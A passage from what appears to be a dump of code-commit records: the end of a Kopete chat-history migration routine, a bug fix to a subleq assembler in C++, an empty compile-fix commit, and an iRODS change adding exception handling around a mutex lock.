QString()).replace(\"-\" , \".\");\n\n\t\t\t\tif(!contactId.isEmpty() )\n\t\t\t\t{\n\t\t\t\t\tprogressDlg->setLabel(i18n(\"Parsing old history in %1:\\n%2\", fi.fileName(), contactId));\n\t\t\t\t\tqApp->processEvents(0); \/\/make sure the text is updated in the progressDlg\n\n\t\t\t\t\tint month=0;\n\t\t\t\t\tint year=0;\n\t\t\t\t\tQDomDocument doc;\n\t\t\t\t\tQDomElement docElem;\n\n\t\t\t\t\tQDomElement msgelement;\n\t\t\t\t\tQDomNode node;\n\t\t\t\t\tQDomDocument xmllist;\n\t\t\t\t\tKopete::Message::MessageDirection dir;\n\t\t\t\t\tQString body, date, nick;\n\t\t\t\t\tQString buffer, msgBlock;\n\t\t\t\t\tchar cbuf[CBUFLENGTH]; \/\/ buffer for the log file\n\n\t\t\t\t\tQString logFileName = fi2.absoluteFilePath();\n\n\t\t\t\t\t\/\/ open the file\n\t\t\t\t\tFILE *f = fopen(QFile::encodeName(logFileName), \"r\");\n\n\t\t\t\t\t\/\/ create a new <message> block\n\t\t\t\t\twhile ( ! feof( f ) )\n\t\t\t\t\t{\n\t\t\t\t\t\tfgets(cbuf, CBUFLENGTH, f);\n\t\t\t\t\t\tbuffer = QString::fromUtf8(cbuf);\n\n\t\t\t\t\t\twhile ( strchr(cbuf, '\\n') == NULL && !feof(f) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfgets( cbuf, CBUFLENGTH, f );\n\t\t\t\t\t\t\tbuffer += QString::fromUtf8(cbuf);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif( buffer.startsWith( QString::fromLatin1( \"<message \" ) ) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tmsgBlock = buffer;\n\n\t\t\t\t\t\t\t\/\/ find the end of the message block\n\t\t\t\t\t\t\twhile( !feof( f ) && buffer != QString::fromLatin1( \"<\/message>\\n\" ) \/*strcmp(\"<\/message>\\n\", cbuf )*\/ )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tfgets(cbuf, CBUFLENGTH, f);\n\t\t\t\t\t\t\t\tbuffer = QString::fromUtf8(cbuf);\n\n\t\t\t\t\t\t\t\twhile ( strchr(cbuf, '\\n') == NULL && !feof(f) )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfgets( cbuf, CBUFLENGTH, f );\n\t\t\t\t\t\t\t\t\tbuffer += QString::fromUtf8(cbuf);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tmsgBlock.append(buffer);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\/\/ now let's work on this new block\n\t\t\t\t\t\t\txmllist.setContent(msgBlock, false);\n\t\t\t\t\t\t\tmsgelement = xmllist.documentElement();\n\t\t\t\t\t\t\tnode = msgelement.firstChild();\n\n\t\t\t\t\t\t\tif( msgelement.attribute( QString::fromLatin1( \"direction\" ) ) == QString::fromLatin1( \"inbound\" ) )\n\t\t\t\t\t\t\t\tdir = Kopete::Message::Inbound;\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tdir = Kopete::Message::Outbound;\n\n\t\t\t\t\t\t\t\/\/ Read all the elements.\n\t\t\t\t\t\t\tQString tagname;\n\t\t\t\t\t\t\tQDomElement element;\n\n\t\t\t\t\t\t\twhile ( ! node.isNull() )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ( node.isElement() )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\telement = node.toElement();\n\t\t\t\t\t\t\t\t\ttagname = element.tagName();\n\n\t\t\t\t\t\t\t\t\tif( tagname == QString::fromLatin1( \"srcnick\" ) )\n\t\t\t\t\t\t\t\t\t\tnick = element.text();\n\n\t\t\t\t\t\t\t\t\telse if( tagname == QString::fromLatin1( \"date\" ) )\n\t\t\t\t\t\t\t\t\t\tdate = element.text();\n\t\t\t\t\t\t\t\t\telse if( tagname == QString::fromLatin1( \"body\" ) )\n\t\t\t\t\t\t\t\t\t\tbody = element.text().trimmed();\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tnode = node.nextSibling();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\/\/FIXME!! The date in logs writed with kopete running with QT 3.0 is Localised.\n\t\t\t\t\t\t\t\/\/ so QT can't parse it correctly.\n\t\t\t\t\t\t\tQDateTime dt=QDateTime::fromString(date);\n\t\t\t\t\t\t\tif(dt.date().month() != month || dt.date().year() != year)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(!docElem.isNull())\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tQDate date(year,month,1);\n\t\t\t\t\t\t\t\t\tQString name = protocolId.replace( QRegExp( QString::fromLatin1( \"[.\/~?*]\" ) ), QString::fromLatin1( \"-\" ) ) +\n\t\t\t\t\t\t\t\t\t\t\tQString::fromLatin1( \"\/\" ) +\n\t\t\t\t\t\t\t\t\t\t\tcontactId.replace( QRegExp( QString::fromLatin1( \"[.\/~?*]\" ) ), QString::fromLatin1( \"-\" ) ) +\n\t\t\t\t\t\t\t\t\t\t\tdate.toString(\".yyyyMM\");\n\t\t\t\t\t\t\t\t\tKSaveFile file( KStandardDirs::locateLocal( \"data\", QString::fromLatin1( \"kopete\/logs\/\" ) + name +\n\t\t\t\t\t\t\t\t\t QString::fromLatin1( \".xml\" ) ) );\n\t\t\t\t\t\t\t\t\tif( file.open() )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tQTextStream stream ( &file );\n\t\t\t\t\t\t\t\t\t\t\/\/stream.setEncoding( QTextStream::UnicodeUTF8 ); \/\/???? oui ou non?\n\t\t\t\t\t\t\t\t\t\tdoc.save( stream , 1 );\n\t\t\t\t\t\t\t\t\t\tfile.finalize();\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\t\tmonth=dt.date().month();\n\t\t\t\t\t\t\t\tyear=dt.date().year();\n\t\t\t\t\t\t\t\tdocElem=QDomElement();\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif(docElem.isNull())\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tdoc=QDomDocument(\"Kopete-History\");\n\t\t\t\t\t\t\t\tdocElem= doc.createElement( \"kopete-history\" );\n\t\t\t\t\t\t\t\tdocElem.setAttribute ( \"version\" , \"0.7\" );\n\t\t\t\t\t\t\t\tdoc.appendChild( docElem );\n\t\t\t\t\t\t\t\tQDomElement headElem = doc.createElement( \"head\" );\n\t\t\t\t\t\t\t\tdocElem.appendChild( headElem );\n\t\t\t\t\t\t\t\tQDomElement dateElem = doc.createElement( \"date\" );\n\t\t\t\t\t\t\t\tdateElem.setAttribute( \"year\", QString::number(year) );\n\t\t\t\t\t\t\t\tdateElem.setAttribute( \"month\", QString::number(month) );\n\t\t\t\t\t\t\t\theadElem.appendChild(dateElem);\n\t\t\t\t\t\t\t\tQDomElement myselfElem = doc.createElement( \"contact\" );\n\t\t\t\t\t\t\t\tmyselfElem.setAttribute( \"type\", \"myself\" );\n\t\t\t\t\t\t\t\tmyselfElem.setAttribute( \"contactId\", accountId );\n\t\t\t\t\t\t\t\theadElem.appendChild(myselfElem);\n\t\t\t\t\t\t\t\tQDomElement contactElem = doc.createElement( \"contact\" );\n\t\t\t\t\t\t\t\tcontactElem.setAttribute( \"contactId\", contactId );\n\t\t\t\t\t\t\t\theadElem.appendChild(contactElem);\n\t\t\t\t\t\t\t\tQDomElement importElem = doc.createElement( \"imported\" );\n\t\t\t\t\t\t\t\timportElem.setAttribute( \"from\", fi.fileName() );\n\t\t\t\t\t\t\t\timportElem.setAttribute( \"date\", QDateTime::currentDateTime().toString() );\n\t\t\t\t\t\t\t\theadElem.appendChild(importElem);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tQDomElement msgElem = doc.createElement( \"msg\" );\n\t\t\t\t\t\t\tmsgElem.setAttribute( \"in\", dir==Kopete::Message::Outbound ? \"0\" : \"1\" );\n\t\t\t\t\t\t\tmsgElem.setAttribute( \"from\", dir==Kopete::Message::Outbound ? accountId : contactId );\n\t\t\t\t\t\t\tmsgElem.setAttribute( \"nick\", nick ); \/\/do we have to set this?\n\t\t\t\t\t\t\tmsgElem.setAttribute( \"time\", QString::number(dt.date().day()) + ' ' + QString::number(dt.time().hour()) + ':' + QString::number(dt.time().minute()) );\n\t\t\t\t\t\t\tQDomText msgNode = doc.createTextNode( body.trimmed() );\n\t\t\t\t\t\t\tdocElem.appendChild( msgElem );\n\t\t\t\t\t\t\tmsgElem.appendChild( msgNode );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tfclose( f );\n\t\t\t\t\tif(deleteFiles)\n\t\t\t\t\t\td2.remove(fi2.fileName());\n\n\t\t\t\t\tif(!docElem.isNull())\n\t\t\t\t\t{\n\t\t\t\t\t\tQDate date(year,month,1);\n\t\t\t\t\t\tQString name = protocolId.replace( QRegExp( QString::fromLatin1( \"[.\/~?*]\" ) ), QString::fromLatin1( \"-\" ) ) +\n\t\t\t\t\t\t\t\tQString::fromLatin1( \"\/\" ) +\n\t\t\t\t\t\t\t\tcontactId.replace( QRegExp( QString::fromLatin1( \"[.\/~?*]\" ) ), QString::fromLatin1( \"-\" ) ) +\n\t\t\t\t\t\t\t\tdate.toString(\".yyyyMM\");\n\t\t\t\t\t\tKSaveFile file( KStandardDirs::locateLocal( \"data\", QString::fromLatin1( \"kopete\/logs\/\" ) + name +\n\t\t\t\t\t\t QString::fromLatin1( \".xml\" ) ) );\n\t\t\t\t\t\tif( file.open() )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tQTextStream stream ( &file );\n\t\t\t\t\t\t\t\/\/stream.setEncoding( QTextStream::UnicodeUTF8 ); \/\/???? oui ou non?\n\t\t\t\t\t\t\tdoc.save( stream ,1 );\n\t\t\t\t\t\t\tfile.finalize();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t\tprogressDlg->progressBar()->setValue(progressDlg->progressBar()->value()+1);\n\t\t\t}\n\t\t}\n\t}\n\tdelete progressDlg;\n\n}\n\n\nbool HistoryPlugin::detectOldHistory()\n{\n\tQString version=KGlobal::config()->group(\"History Plugin\").readEntry( \"Version\" ,\"0.6\" );\n\n\tif(version != \"0.6\")\n\t\treturn false;\n\n\n\tQDir d( KStandardDirs::locateLocal( \"data\", QString::fromLatin1( \"kopete\/logs\")) );\n\td.setFilter( QDir::Dirs );\n\tif(d.count() >= 3) \/\/ '.' and '..' are included\n\t\treturn false; \/\/the new history already exists\n\n\tQDir d2( KStandardDirs::locateLocal( \"data\", QString::fromLatin1( \"kopete\")) );\n\td2.setFilter( QDir::Dirs );\n\tconst QFileInfoList list = d2.entryInfoList();\n\tQFileInfo fi;\n\n\tforeach(fi, list)\n\t{\n\t\tif( dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) )\n\t\t\treturn true;\n\n\t\tif(fi.fileName() == \"MSNProtocol\" || fi.fileName() == \"msn_logs\" )\n\t\t\treturn true;\n\t\telse if(fi.fileName() == \"ICQProtocol\" || fi.fileName() == \"icq_logs\" )\n\t\t\treturn true;\n\t\telse if(fi.fileName() == \"AIMProtocol\" || fi.fileName() == \"aim_logs\" )\n\t\t\treturn true;\n\t\telse if(fi.fileName() == \"OscarProtocol\" )\n\t\t\treturn true;\n\t\telse if(fi.fileName() == \"JabberProtocol\" || fi.fileName() == \"jabber_logs\")\n\t\t\treturn true;\n\t}\n\treturn false;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\r\n * assembler32.cpp\r\n *\r\n * Created on: Jul 23, 2014\r\n * Author: Pimenta\r\n *\/\r\n\r\n#include <cstdint>\r\n#include <cstdio>\r\n#include <fstream>\r\n#include <map>\r\n#include <set>\r\n#include <string>\r\n#include <sstream>\r\n\r\nusing namespace std;\r\n\r\ntypedef uint32_t uword_t;\r\n\r\n#ifndef MEM_WORDS\r\n#define MEM_WORDS 0x2000\r\n#endif\r\n\r\nstatic fstream f;\r\nstatic string buf;\r\nstatic set<string> exported;\r\nstatic map<string, uword_t> symbols;\r\nstatic map<string, set<uword_t>> references;\r\nstatic set<uword_t> relatives;\r\nstatic uword_t mem_size = 0;\r\nstatic uword_t* mem = new uword_t[MEM_WORDS];\r\nstatic int currentLine = 1, lastTokenLine = 1, currentTokenLine = 1;\r\n\r\ninline static void readToken() {\r\n buf = \"\";\r\n lastTokenLine = currentTokenLine;\r\n \r\n for (char c = f.get(); f.good(); c = f.get()) {\r\n if (c == '\/') { \/\/ comment found\r\n if (buf.size()) { \/\/ token was read\r\n currentTokenLine = currentLine;\r\n return;\r\n }\r\n \/\/ ignoring comment\r\n for (c = f.get(); c != '\\r' && c != '\\n' && f.good(); c = f.get());\r\n if (c == '\\r') { \/\/ checking for CR or CRLF line endings\r\n c = f.get();\r\n if (f.good() && c != '\\n') {\r\n f.unget();\r\n }\r\n }\r\n currentLine++;\r\n }\r\n else if (c == '\\r' || c == '\\n') { \/\/ line break found\r\n if (c == '\\r') { \/\/ checking for CR or CRLF line endings\r\n c = f.get();\r\n if (f.good() && c != '\\n') {\r\n f.unget();\r\n }\r\n }\r\n if (buf.size()) { \/\/ token was read\r\n currentTokenLine = currentLine++;\r\n return;\r\n }\r\n currentLine++;\r\n }\r\n else if (c == ' ' || c == '\\t') { \/\/ white space found\r\n if (buf.size()) { \/\/ token was read\r\n currentTokenLine = currentLine;\r\n return;\r\n }\r\n }\r\n else { \/\/ concatenating the character read\r\n buf += c;\r\n }\r\n }\r\n \r\n currentTokenLine = currentLine;\r\n}\r\n\r\ninline static uword_t parseData() {\r\n uword_t data = 0;\r\n if (buf[0] == '0' && buf[1] == 'x') { \/\/ for hex notation\r\n sscanf(buf.c_str(), \"%i\", &data);\r\n }\r\n else { \/\/ for decimal notation\r\n stringstream ss;\r\n ss << buf;\r\n ss >> data; \r\n }\r\n return data;\r\n}\r\n\r\ninline static uword_t parseField() {\r\n uword_t field = 0;\r\n if (buf[0] == '0' && buf[1] == 'x') { \/\/ hex notation means absolute address\r\n sscanf(buf.c_str(), \"%i\", &field);\r\n }\r\n else { \/\/ symbol means an address that needs to be relocated later\r\n relatives.emplace(mem_size);\r\n \r\n \/\/ looking for array offset\r\n if (buf.find(\"+\") != buf.npos) {\r\n string offset = buf.substr(buf.find(\"+\") + 1, buf.size());\r\n buf = buf.substr(0, buf.find(\"+\"));\r\n stringstream ss;\r\n ss << offset;\r\n ss >> field;\r\n }\r\n \r\n auto sym = symbols.find(buf);\r\n if (sym == symbols.end()) { \/\/ symbol not found. leave a reference\r\n references[buf].emplace(mem_size);\r\n }\r\n else { \/\/ symbol found. the field is the address of the symbol\r\n field = sym->second;\r\n }\r\n }\r\n return field;\r\n}\r\n\r\nint assembler32(int argc, char* argv[]) {\r\n if (argc != 3) {\r\n fprintf(stderr, \"Usage mode: subleq-asm <assembly_file> <object_file>\\n\");\r\n return 0;\r\n }\r\n \r\n f.open(argv[1]);\r\n \r\n readToken(); \/\/ reading \".export\"\r\n \r\n \/\/ reading export section\r\n for (readToken(); buf != \".data\"; readToken()) {\r\n exported.insert(buf);\r\n }\r\n \r\n \/\/ reading data section\r\n for (readToken(); buf != \".text\";) {\r\n symbols[buf.substr(0, buf.size() - 1)] = mem_size;\r\n readToken();\r\n if (buf == \".array\") { \/\/ uninitialized array\r\n readToken();\r\n mem_size += parseData();\r\n readToken(); \/\/ next symbol\r\n }\r\n else if (buf == \".iarray\") { \/\/ initialized array\r\n for (readToken(); currentTokenLine == lastTokenLine; readToken()) {\r\n mem[mem_size++] = parseData();\r\n }\r\n }\r\n else if (buf == \".ptr\") { \/\/ pointer\r\n mem[mem_size] = parseField();\r\n mem_size++;\r\n readToken(); \/\/ next symbol\r\n }\r\n else { \/\/ initialized word\r\n mem[mem_size++] = parseData();\r\n readToken(); \/\/ next symbol\r\n }\r\n }\r\n \r\n \/\/ reading text section\r\n int field = 0;\r\n for (readToken(); buf.size();) {\r\n \/\/ field 2 omitted\r\n if (field == 2 && currentTokenLine != lastTokenLine) {\r\n relatives.emplace(mem_size);\r\n mem[mem_size] = mem_size + 1;\r\n mem_size++;\r\n field = (field + 1)%3;\r\n }\r\n \/\/ symbol found\r\n else if (buf[buf.size() - 1] == ':') {\r\n symbols[buf.substr(0, buf.size() - 1)] = mem_size;\r\n if (buf == \"start:\")\r\n exported.emplace(\"start\");\r\n readToken();\r\n }\r\n \/\/ field 0, 1, or field 2 specified\r\n else {\r\n mem[mem_size] = parseField();\r\n mem_size++;\r\n field = (field + 1)%3;\r\n readToken();\r\n }\r\n }\r\n \r\n f.close();\r\n \r\n \/\/ resolve references\r\n for (auto map_it = references.begin(); map_it != references.end();) {\r\n \/\/ external symbols\r\n auto sym = symbols.find(map_it->first);\r\n if (sym == symbols.end()) {\r\n ++map_it;\r\n continue;\r\n }\r\n \r\n \/\/ resolve\r\n for (auto it = map_it->second.begin(); it != map_it->second.end(); ++it) {\r\n mem[*it] += sym->second;\r\n }\r\n \r\n references.erase(map_it++);\r\n }\r\n \r\n f.open(argv[2], fstream::out | fstream::binary);\r\n \r\n {\r\n uword_t tmp;\r\n \r\n \/\/ write number of exported symbols\r\n tmp = exported.size();\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n \r\n \/\/ write exported symbols\r\n for (auto& exp : exported) {\r\n \/\/ string\r\n f.write(exp.c_str(), exp.size() + 1);\r\n \r\n \/\/ address\r\n tmp = symbols[exp];\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n }\r\n \r\n \/\/ write number of symbols of pending references\r\n tmp = references.size();\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n \r\n \/\/ write symbols of pending references\r\n for (auto& sym : references) {\r\n \/\/ string\r\n f.write(sym.first.c_str(), sym.first.size() + 1);\r\n \r\n \/\/ write number of references to current symbol\r\n tmp = sym.second.size();\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n \r\n \/\/ write references to current symbol\r\n for (auto ref : sym.second) {\r\n tmp = ref;\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n }\r\n }\r\n \r\n \/\/ write number of relative addresses\r\n tmp = relatives.size();\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n \r\n \/\/ write relative addresses\r\n for (auto addr : relatives) {\r\n tmp = addr;\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n }\r\n \r\n \/\/ write assembled code size\r\n f.write((const char*)&mem_size, sizeof(uword_t));\r\n \r\n \/\/ write assembled code\r\n f.write((const char*)mem, sizeof(uword_t)*mem_size);\r\n }\r\n \r\n f.close();\r\n \r\n delete[] mem;\r\n \r\n return 0;\r\n}\r\n<commit_msg>Fixing bug<commit_after>\/*\r\n * assembler32.cpp\r\n *\r\n * Created on: Jul 23, 2014\r\n * Author: Pimenta\r\n *\/\r\n\r\n#include <cstdint>\r\n#include <cstdio>\r\n#include <fstream>\r\n#include <map>\r\n#include <set>\r\n#include <string>\r\n#include <sstream>\r\n\r\nusing namespace std;\r\n\r\ntypedef uint32_t uword_t;\r\n\r\n#ifndef MEM_WORDS\r\n#define MEM_WORDS 0x2000\r\n#endif\r\n\r\nstatic fstream f;\r\nstatic string buf;\r\nstatic set<string> exported;\r\nstatic map<string, uword_t> symbols;\r\nstatic map<string, set<uword_t>> references;\r\nstatic set<uword_t> relatives;\r\nstatic uword_t mem_size = 0;\r\nstatic uword_t* mem = new uword_t[MEM_WORDS];\r\nstatic int currentLine = 1, lastTokenLine = 1, currentTokenLine = 1;\r\n\r\ninline static void readToken() {\r\n buf = \"\";\r\n lastTokenLine = currentTokenLine;\r\n \r\n for (char c = f.get(); f.good(); c = f.get()) {\r\n if (c == '\/') { \/\/ comment found\r\n if (buf.size()) { \/\/ token was read\r\n currentTokenLine = currentLine;\r\n return;\r\n }\r\n \/\/ ignoring comment\r\n for (c = f.get(); c != '\\r' && c != '\\n' && f.good(); c = f.get());\r\n if (c == '\\r') { \/\/ checking for CR or CRLF line endings\r\n c = f.get();\r\n if (f.good() && c != '\\n') {\r\n f.unget();\r\n }\r\n }\r\n currentLine++;\r\n }\r\n else if (c == '\\r' || c == '\\n') { \/\/ line break found\r\n if (c == '\\r') { \/\/ checking for CR or CRLF line endings\r\n c = f.get();\r\n if (f.good() && c != '\\n') {\r\n f.unget();\r\n }\r\n }\r\n if (buf.size()) { \/\/ token was read\r\n currentTokenLine = currentLine++;\r\n return;\r\n }\r\n currentLine++;\r\n }\r\n else if (c == ' ' || c == '\\t') { \/\/ white space found\r\n if (buf.size()) { \/\/ token was read\r\n currentTokenLine = currentLine;\r\n return;\r\n }\r\n }\r\n else { \/\/ concatenating the character read\r\n buf += c;\r\n }\r\n }\r\n \r\n currentTokenLine = currentLine;\r\n}\r\n\r\ninline static uword_t parseData() {\r\n uword_t data = 0;\r\n if (buf[0] == '0' && buf[1] == 'x') { \/\/ for hex notation\r\n sscanf(buf.c_str(), \"%i\", &data);\r\n }\r\n else { \/\/ for decimal notation\r\n stringstream ss;\r\n ss << buf;\r\n ss >> data; \r\n }\r\n return data;\r\n}\r\n\r\ninline static uword_t parseField() {\r\n uword_t field = 0;\r\n if (buf[0] == '0' && buf[1] == 'x') { \/\/ hex notation means absolute address\r\n sscanf(buf.c_str(), \"%i\", &field);\r\n }\r\n else { \/\/ symbol means an address that needs to be relocated later\r\n relatives.emplace(mem_size);\r\n \r\n \/\/ looking for array offset\r\n if (buf.find(\"+\") != buf.npos) {\r\n string offset = buf.substr(buf.find(\"+\") + 1, buf.size());\r\n buf = buf.substr(0, buf.find(\"+\"));\r\n stringstream ss;\r\n ss << offset;\r\n ss >> field;\r\n }\r\n \r\n auto sym = symbols.find(buf);\r\n if (sym == symbols.end()) { \/\/ symbol not found. leave a reference\r\n references[buf].emplace(mem_size);\r\n }\r\n else { \/\/ symbol found. the field is the address of the symbol\r\n field = sym->second;\r\n }\r\n }\r\n return field;\r\n}\r\n\r\nint assembler32(int argc, char* argv[]) {\r\n if (argc != 3) {\r\n fprintf(stderr, \"Usage mode: subleq-asm <assembly_file> <object_file>\\n\");\r\n return 0;\r\n }\r\n \r\n f.open(argv[1]);\r\n \r\n readToken(); \/\/ reading \".export\"\r\n \r\n \/\/ reading export section\r\n for (readToken(); buf != \".data\"; readToken()) {\r\n exported.insert(buf);\r\n }\r\n \r\n \/\/ reading data section\r\n for (readToken(); buf != \".text\";) {\r\n symbols[buf.substr(0, buf.size() - 1)] = mem_size;\r\n readToken();\r\n if (buf == \".array\") { \/\/ uninitialized array\r\n readToken();\r\n mem_size += parseData();\r\n readToken(); \/\/ next symbol\r\n }\r\n else if (buf == \".iarray\") { \/\/ initialized array\r\n for (readToken(); currentTokenLine == lastTokenLine; readToken()) {\r\n mem[mem_size++] = parseData();\r\n }\r\n }\r\n else if (buf == \".ptr\") { \/\/ pointer\r\n readToken();\r\n mem[mem_size] = parseField();\r\n mem_size++;\r\n readToken(); \/\/ next symbol\r\n }\r\n else { \/\/ initialized word\r\n mem[mem_size++] = parseData();\r\n readToken(); \/\/ next symbol\r\n }\r\n }\r\n \r\n \/\/ reading text section\r\n int field = 0;\r\n for (readToken(); buf.size();) {\r\n \/\/ field 2 omitted\r\n if (field == 2 && currentTokenLine != lastTokenLine) {\r\n relatives.emplace(mem_size);\r\n mem[mem_size] = mem_size + 1;\r\n mem_size++;\r\n field = (field + 1)%3;\r\n }\r\n \/\/ symbol found\r\n else if (buf[buf.size() - 1] == ':') {\r\n symbols[buf.substr(0, buf.size() - 1)] = mem_size;\r\n if (buf == \"start:\")\r\n exported.emplace(\"start\");\r\n readToken();\r\n }\r\n \/\/ field 0, 1, or field 2 specified\r\n else {\r\n mem[mem_size] = parseField();\r\n mem_size++;\r\n field = (field + 1)%3;\r\n readToken();\r\n }\r\n }\r\n \r\n f.close();\r\n \r\n \/\/ resolve references\r\n for (auto map_it = references.begin(); map_it != references.end();) {\r\n \/\/ external symbols\r\n auto sym = symbols.find(map_it->first);\r\n if (sym == symbols.end()) {\r\n ++map_it;\r\n continue;\r\n }\r\n \r\n \/\/ resolve\r\n for (auto it = map_it->second.begin(); it != map_it->second.end(); ++it) {\r\n mem[*it] += sym->second;\r\n }\r\n \r\n references.erase(map_it++);\r\n }\r\n \r\n f.open(argv[2], fstream::out | fstream::binary);\r\n \r\n {\r\n uword_t tmp;\r\n \r\n \/\/ write number of exported symbols\r\n tmp = exported.size();\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n \r\n \/\/ write exported symbols\r\n for (auto& exp : exported) {\r\n \/\/ string\r\n f.write(exp.c_str(), exp.size() + 1);\r\n \r\n \/\/ address\r\n tmp = symbols[exp];\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n }\r\n \r\n \/\/ write number of symbols of pending references\r\n tmp = references.size();\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n \r\n \/\/ write symbols of pending references\r\n for (auto& sym : references) {\r\n \/\/ string\r\n f.write(sym.first.c_str(), sym.first.size() + 1);\r\n \r\n \/\/ write number of references to current symbol\r\n tmp = sym.second.size();\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n \r\n \/\/ write references to current symbol\r\n for (auto ref : sym.second) {\r\n tmp = ref;\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n }\r\n }\r\n \r\n \/\/ write number of relative addresses\r\n tmp = relatives.size();\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n \r\n \/\/ write relative addresses\r\n for (auto addr : relatives) {\r\n tmp = addr;\r\n f.write((const char*)&tmp, sizeof(uword_t));\r\n }\r\n \r\n \/\/ write assembled code size\r\n f.write((const char*)&mem_size, sizeof(uword_t));\r\n \r\n \/\/ write assembled code\r\n f.write((const char*)mem, sizeof(uword_t)*mem_size);\r\n }\r\n \r\n f.close();\r\n \r\n delete[] mem;\r\n \r\n return 0;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Tentative compile fix.<commit_after><|endoftext|>"} {"text":"<commit_before>\/* For copyright information please refer to files in the COPYRIGHT directory\n *\/\n#include \"debug.hpp\"\n#include \"locks.hpp\"\n#include \"filesystem.hpp\"\n#include \"utils.hpp\"\n#include \"irods_log.hpp\"\n#include \"initServer.hpp\"\n#include \"irods_server_properties.hpp\"\n\nint lockMutex( mutex_type **mutex ) {\n std::string mutex_name;\n irods::error ret = getMutexName( mutex_name );\n if ( !ret.ok() ) {\n rodsLog( LOG_ERROR, \"lockMutex: call to getMutexName failed\" );\n return -1;\n }\n\n try {\n *mutex = new boost::interprocess::named_mutex( boost::interprocess::open_or_create, mutex_name.c_str() );\n } catch ( const boost::interprocess::interprocess_exception& ) {\n rodsLog( LOG_ERROR, \"boost::interprocess::named_mutex threw a boost::interprocess::interprocess_exception.\" );\n return -1;\n }\n ( *mutex )->lock();\n return 0;\n}\n\nvoid unlockMutex( mutex_type **mutex ) {\n ( *mutex )->unlock();\n delete *mutex;\n}\n\n\/* This function can be used during initialization to remove a previously held mutex that has not been released.\n * This should only be used when there is no other process using the mutex *\/\nvoid resetMutex() {\n std::string mutex_name;\n irods::error ret = getMutexName( mutex_name );\n if ( !ret.ok() ) {\n rodsLog( LOG_ERROR, \"resetMutex: call to getMutexName failed\" );\n }\n\n boost::interprocess::named_mutex::remove( mutex_name.c_str() );\n}\n\nirods::error getMutexName( std::string &mutex_name ) {\n std::string mutex_name_salt;\n irods::error ret = irods::server_properties::getInstance().get_property<std::string>( RE_CACHE_SALT_KW, mutex_name_salt );\n if ( !ret.ok() ) {\n rodsLog( LOG_ERROR, \"getMutexName: failed to retrieve re cache salt from server_properties\\n%s\", ret.result().c_str() );\n return PASS( ret );\n }\n\n getResourceName( mutex_name, mutex_name_salt.c_str() );\n mutex_name = \"re_cache_mutex_\" + mutex_name;\n\n return SUCCESS();\n}\n<commit_msg>[#2212] CID26297:<commit_after>\/* For copyright information please refer to files in the COPYRIGHT directory\n *\/\n#include \"debug.hpp\"\n#include \"locks.hpp\"\n#include \"filesystem.hpp\"\n#include \"utils.hpp\"\n#include \"irods_log.hpp\"\n#include \"initServer.hpp\"\n#include \"irods_server_properties.hpp\"\n\nint lockMutex( mutex_type **mutex ) {\n std::string mutex_name;\n irods::error ret = getMutexName( mutex_name );\n if ( !ret.ok() ) {\n rodsLog( LOG_ERROR, \"lockMutex: call to getMutexName failed\" );\n return -1;\n }\n\n try {\n *mutex = new boost::interprocess::named_mutex( boost::interprocess::open_or_create, mutex_name.c_str() );\n } catch ( const boost::interprocess::interprocess_exception& ) {\n rodsLog( LOG_ERROR, \"boost::interprocess::named_mutex threw a boost::interprocess::interprocess_exception.\" );\n return -1;\n }\n try {\n ( *mutex )->lock();\n } catch ( const boost::interprocess::interprocess_exception& ) {\n rodsLog( LOG_ERROR, \"lock threw a boost::interprocess::interprocess_exception.\" );\n return -1;\n }\n return 0;\n}\n\nvoid unlockMutex( mutex_type **mutex ) {\n ( *mutex )->unlock();\n delete *mutex;\n}\n\n\/* This function can be used during initialization to remove a previously held mutex that has not been released.\n * This should only be used when there is no other process using the mutex *\/\nvoid resetMutex() {\n std::string mutex_name;\n irods::error ret = getMutexName( mutex_name );\n if ( !ret.ok() ) {\n rodsLog( LOG_ERROR, \"resetMutex: call to getMutexName failed\" );\n }\n\n boost::interprocess::named_mutex::remove( mutex_name.c_str() );\n}\n\nirods::error getMutexName( std::string &mutex_name ) {\n std::string mutex_name_salt;\n irods::error ret = irods::server_properties::getInstance().get_property<std::string>( RE_CACHE_SALT_KW, mutex_name_salt );\n if ( !ret.ok() ) {\n rodsLog( LOG_ERROR, 